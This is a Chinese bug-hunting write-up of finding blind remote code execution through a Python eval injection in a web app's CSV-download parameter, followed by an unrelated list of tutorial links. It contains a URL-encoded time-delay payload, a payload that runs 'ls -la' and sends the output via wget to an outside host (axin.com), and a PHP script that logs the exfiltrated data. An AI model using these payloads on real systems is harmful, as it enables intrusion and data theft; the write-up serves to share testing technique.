记一次曲折的RCE挖掘
本漏洞由@Sh4dow供稿,?就完事儿了
简单记录一下这个漏洞,没啥特殊的手法,就是细心与fuzz?
目标应用有一个下载文件的功能,你可以以csv格式下载报告
抓包结果如下:
看起来好像没啥问题,但是响应中的Werkzaug与python吸引了我的注意,不了解Werkzaug的可以去看一下
我尝试着用一些其他的payload替换了params参数的值,都是报错,看起来真就没啥问题,我都准备不看这个点了,但是,当我用空参数的时候,服务器返回了500错误
这说明这个参数还是会影响服务器的运行的嘛(当然也不一定,这里只是我的一个猜测),为了进一步确定,我开始fuzz这个参数
最后把各种报错整理了一下,发现所有和python相关的payload都报了500错误?
看起来有戏,于是把python rce的payload进行了一下url编码,
eval%28compile%28%27for%20x%20in%20range%281%29%3A%0A%20import%20time%0A%20time.sleep%2820%29%27%2C%27a%27%2C%27single%27%29%29
成功执行,服务器产生了延时:
由于数据不会回显,我们就只有用其他手法来外带数据了,还记得上一篇文章的内容吗?
没有看上一篇文章的快回头去瞅瞅?
构造payload:
eval(compile("""for x in range(1):n import osn os.popen(r'wget http://axin.com:8000/shell.php?cmd="$(ls -la)”)read()”””,’’,’single’))
然后在我们的服务器axin.com
上部署一份shell.php
文件,文件内容如下:
<?php
$a = fopen('POC.txt', 'a');
fwrite($a, $_GET["cmd"]);
fclose($a);
?>
发送payload,并查看POC.txt文件的内容:
nice的不得了,当然,也可以直接弹shell
怕什么真理无穷,进一寸有进一寸的欢喜
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- android采用FFmpeg实现音视频合成与分离
- 如何在Node.js和Express中上传文件
- Android底部导航栏的动态替换方案
- Android自定义View实现饼状图带动画效果
- Android音视频之视频采集(系统API预览)
- 在Node.js中使用Multer进行文件上传
- Android实现自动填充短信验证码功能
- django项目中新增app的2种实现方法
- 如何使用Node.js编辑XML文件
- Windows下安装yarn的三种方法
- python topk()函数求最大和最小值实例
- 详解Ubuntu环境下部署Django+uwsgi+nginx总结
- 如何从Node.js中的命令行读取输入
- pyqt5中动画的使用详解
- PyQt使用QPropertyAnimation开发简单动画